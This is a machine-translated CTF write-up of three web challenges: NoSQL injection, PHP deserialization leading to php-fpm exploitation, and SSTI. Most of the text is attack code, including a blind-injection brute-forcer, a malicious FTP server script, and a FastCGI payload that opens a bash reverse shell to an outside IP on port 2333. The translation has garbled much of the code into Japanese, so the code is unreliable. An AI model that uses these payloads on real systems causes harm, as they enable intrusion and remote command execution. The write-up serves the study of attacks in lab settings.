Jump to content

この質問のためのWeb

1.チェックイン

ソリューション。ソースコードによると、ソースコードはNOSQL注入である必要があります。分析したペイロード:username='|| 1){returntrue;}})//password=123456ブラインドベッティングはadmin/54a83850073b0f4c6862d5a1d48ea84fimporttimeです

ImportRequests

重要なもの

session=requests.session()

chars=string.printable

パスワード=''

burp0_url='http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login'

burp0_headers={'cache-control':'max-age=0'、 'ovirion ':'http://d8304b2c-689b-4b9f-8 44A-1C3358BB57DE.NODE4.BUUOJ.CN:81 '、' Upgrade-Insecure-Requests':'1 '、' dnt': '' 1 '、' content-type':'application/x-www-form-urlencoded '、' user-agent':'mozilla/5.0(windowsnt10.0; win64; x64)applewebkit/537.36(khtml、khtml)chrome/95.0.4638.69saf 537.36 '、' 'Accept'3:'text/html、application/xhtml+xml+xml、application/xml; q=0.9、image/avif、image/webp、image/apng、*/*; q=0.8、アプリケーション/署名exchange; v=b3; q=0.9'、 '参照'3360 'http://D8304B2C-689B-4B9F-844A-1C3358BB57DE.NODE4.BUUOJ.CN:81/LOGIN'、 'Accept-Encodi ng':'gzip、deflate '、' accept-language':'zh-cn、zh; q=0.9 '、' connection ':'close '}

burp0_data={'username':' '|| this.password [0]!=' a '){returntrue;}})//'、 'password':'test'}

forxinrange(0,100):

foryinchars:

burp0_data ['username']='' || this.password ['+str(x)+']==''+y+''){returntrue;}})//'

応答=session.post(burp0_url、headers=burp0_headers、data=burp0_data)

#print(respons.text)

if'successuctionly'inresponse.text:

パスワード+=y

印刷(パスワード)

壊す

Time.sleep(0.06)

#username3360admin

#PWD:54A83850073B0F4C6862D5A1D48EA84F/WGET?1049983-20211222172109607-910227145.jpgFLAG {67317C21-32F6-42C2-B04B-8B328A5F33AE}

2.eaaasyphp

ローカルシェルを書き込みます

?phpclass check {public static $ str1=false; public static $ str2=false;} class esle {public function __wakeup(){check:3360 $ str1=true; }} class hint {public function __wakeup(){$ this-hint='no hint'; } public function __destruct(){if(!$ this-hint){$ this-hint='phpinfo'; ($ this-hint)(); }}} class bunny {public $ filename; public function __toString(){echo 'toString'; if(check: $ str2){if(!$ this-data){$ this-data=$ _request ['data']; } file_put_contents($ this-filename、$ this-data); } else {throw new error( 'error'); }}} class welcome {public $ bbb; public function __invoke(){check: $ str2=true; 「ようこそ」を返します。 $このユーザー名; }} class bypass {public $ aaa; public $ str4; public function __destruct(){if(check3360: $ str1){($ this-str4)(); } else {throw new error( 'error'); }}} $ check=new check(); $ esle=new esle(); $ a=new bypass(); $ b=new welcome(); $ c=new bunny(); $ c-filename='shell.txt'; $ c-data='111111'; $ b-username=$ c; $ bbbb=$ check; $ a-aaa=$ $ $ $ $ b; echo serialize($ a);

1049983-20211222172110321-1665760604.jpg

しかし、リモートでは利用できません

o%3a6%3a'bypass '%3a2%3a%7bs%3a3%3a'aaa'%3bo%3a4%3a'esle '%3a0%3a%7b%7ds%3a4%3a'str4'%3bs%3a7%3a'phpinfo '%3b%7d

1049983-20211222172110914-803848233.jpg

後で問題環境がシェルを書き込むことができないことがわかったので、file_put_contentsを使用してphp-fpmを攻撃することを検討しました

次に、VPSで次のスクリプトを実行して、悪意のあるFTPサーバーを構築します。

#vily_ftp.py

ソケットをインポートします

s=socket.socket(socket.af_inet、socket.sock_stream)

S.Bind(( '0.0.0.0'、23))

S.Listen(1)

conn、addr=s.accept()

conn.send(b'220歓迎\ n ')

#Service新しいユーザーの準備ができました。

#Client Anonymousユーザー名を送信します

#user匿名

conn.send(b'331パスワードを指定してください。\ n ')

#USER名OK、パスワードが必要です。

#client匿名パスワードを送信します。

#Pass Anonymous

conn.send(b'230ログイン成功。\ n ')

#userログインして、続行します。必要に応じてログアウトします。

#type i

conn.send(b'200バイナリモードへの切り替え。\ n ')

#サイズ /

conn.send(b'550はファイルサイズを取得できませんでした。\ n ')

#epsv(1)

conn.send(b'150 ok \ n ')

#pasv

conn.send(b'227拡張パッシブモード(127,0,0,1,0,9000)\ n ')#stor /(2)の入力

conn.send(b'150許可が拒否されました。\ n ')

#やめる

conn.send(b'221さようなら。\ n ')

conn.close()

Gopherusを使用して、リバウンドシェルのペイロードを生成します

1049983-20211222172111386-1414290412.jpg

%01%01%00%01%00%08%00%00%01%00%00%00%00%00%01%04%00%01%01%05%05%00%0f%10Serv er_softwarego%20/%20fcgiclient%20%0b%09Remote_addr127.0.0.1%0f%08Server_Proto colhttp/1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE%20%3D%20ON% P%3a //入力%0f%17Script_fileName/var/www/html/index.php%01document_root/%00% 00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%01%00J%04%00%3c%3fphp%20System%28%2 7Bash%20-C%20%22Bash%20-I%20%3E%26%20/dev/TCP/116.62.104.172/2333%200%3E%261%22 %27%29%3bdie%28%27 ---- Made-by-Spyd3r ---%0a%27%29%3b%3e%3e%00%00%00%00%00POC3360

?php

クラスチェック{

public static $ str1=false;

public static $ str2=false;

}

クラスesle {

パブリック機能__wakeup()

{

Check: $ str1=true;

}

}

クラスヒント{

public function __wakeup(){

$ this-hint='no hint';

}

パブリック関数__destruct(){

if(!$ this-hint){

$ this-hint='phpinfo';

($ this-hint)();

}

}

}

クラスバニー{

public $ filename;

パブリック機能__toString()

{

echo 'tostring';

if(check: $ str2){

if(!$ this-data){

$ this-data=$ _request ['data'];

}

file_put_contents($ this-filename、$ this-data);

} それ以外{

新しいエラー( 'エラー')をスローします。

}

}

}

クラスのようこそ{

公開$ bbb;

パブリック機能__invoke()

{

check: $ str2=true;

「ようこそ」を返します。 $このユーザー名;

}

}

クラスバイパス{

public $ aaa;

public $ str4;

パブリック関数__Destruct()

{

if(check: $ str1){

($ this-str4)();

} それ以外{

新しいエラー( 'エラー')をスローします。

}

}

}

$ check=new Check();

$ esle=new esle();

$ a=new bypass();

$ b=new welcome();

$ c=new Bunny();

$ c-filename='ftp: //aaa@vps/123';

$ c-data=urldecode( '%01%01%00%01%00%08%08%00%01%00%00%00%00%00%01%04%00%01%01%05%05% 00%0F%10SERVER_SOFTWARGO%20/%20FCGICLIENT%20%0B%09REMOTE_ADDR127.0.1%0F%0 8SERVER_PROTOCOLHTTP/1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE%20%3D%20ON%0ADISABLE_FUNCTIONS%20%20%3D% ILE%20%3D%20php%3a //入力%0f%17Script_fileName/var/www/html/index.php%0d%01docu MENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00J%04%00%3C%3FPH P%20System%28%27Bash%20-C%20%22Bash%20-I%20%3E%26%20/dev/tcp/vps/2333%200%3e%261%22%27%29%3bie%28%27---- Made-by-spyd3r -----%0a%27%3b%3f%3e%00%00%00%00%00%00%

$ b-username=$ c;

$ bbbb=$ check;

$ a-aaa=$ esle;

$ a-str4=$ b;

echo urlencode(serialize($ a));

Pythonスクリプトを実行します

1049983-20211222172111885-2065133396.jpg

ポート2333を聴き、ペイロードを送信し、シェルを取得します

?code=o%3a6%3a%22bypass%22%3a2%3a%7bs% E%22%3a2%3a%7bs%3a3%3a%22bbb%22%3bo%3a5%3a%22check%22%3a0%3a%7b%7ds%3a8%3a%22username %3a%22FILENAME%22%3bs%3a31%3a%22ftp%3a%2fc 2FAAA%40116.62.104.172%3A23%2F123%22% %00%08%00%00%00%01%00%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F% 1%0f%08Server_Protocolhttp%2F1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE+%3D+on%0ADISABL E_FUNCTIONS+%3D+%0AAUTO_PREPNED_FILE+%3D+PHP%3A%2F%2FINPUT%0F%0F%根%2f%00%00%00%00%00%00%00%01%04%00%01%00%00%00%01%05%01%00J%04%00%3C% FTCP%2F116.62.104.172%2F2333+0%3E%261%22%27%29%3BDIE%28%28%27 ---- MADE-BY-SPYD3R ----%0A%27%29%3B%3F%3E%00%00%00%

1049983-20211222172112285-422471917.jpg

3.magicmail

注入点

この質問は非常に興味深いです。ゲームの後、公式のWPに従って複製されます。まず、SMTPサービスと対応するポートでIPを入力する必要があります。これにより、独自のVPS Python3 -M SMTPD -C DebuggingServer -N 0.0.0.0:66667でSMTPサービスを開始できます。

次に、電子メールのコンテンツに電子メール1049983-20211222172113072-2021108038.pngを送信できる関数があり、テンプレートインジェクションテスト入力{{7*7}} 1049983-20211222172113453-1084769112.jpg Base64 Base64が受信した文字列をデコードし、SSTI

1049983-20211222172113765-2117252222.jpg

3360010101010101010101010101010101010101010があります。テストでは、キー文字列「Mro」、「Mro」、「ベース」、「セッション」、「セッション」、「+」、「追加」、「add」、「u '、」、「ord」、' redirect '、' url_for '、' config ''、 'buttins'、 '' '' '' flusededeage '' '' 'form' submess '' 'submess' 'submess' submess 'は「ヘッダー」、 '['、 ']'、 '\'、 ''、 '_'someケース、エラーがエコーされます。このエコーに関しては、クラスのメソッドコールに問題があること、つまりクラスがメソッド呼び出しをサポートしていないので、エラーを返します(より良い理解がある場合は、コメント領域でそれを指摘してください){'' .__ sive __.__ベース__.__サブクラス__()}}

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...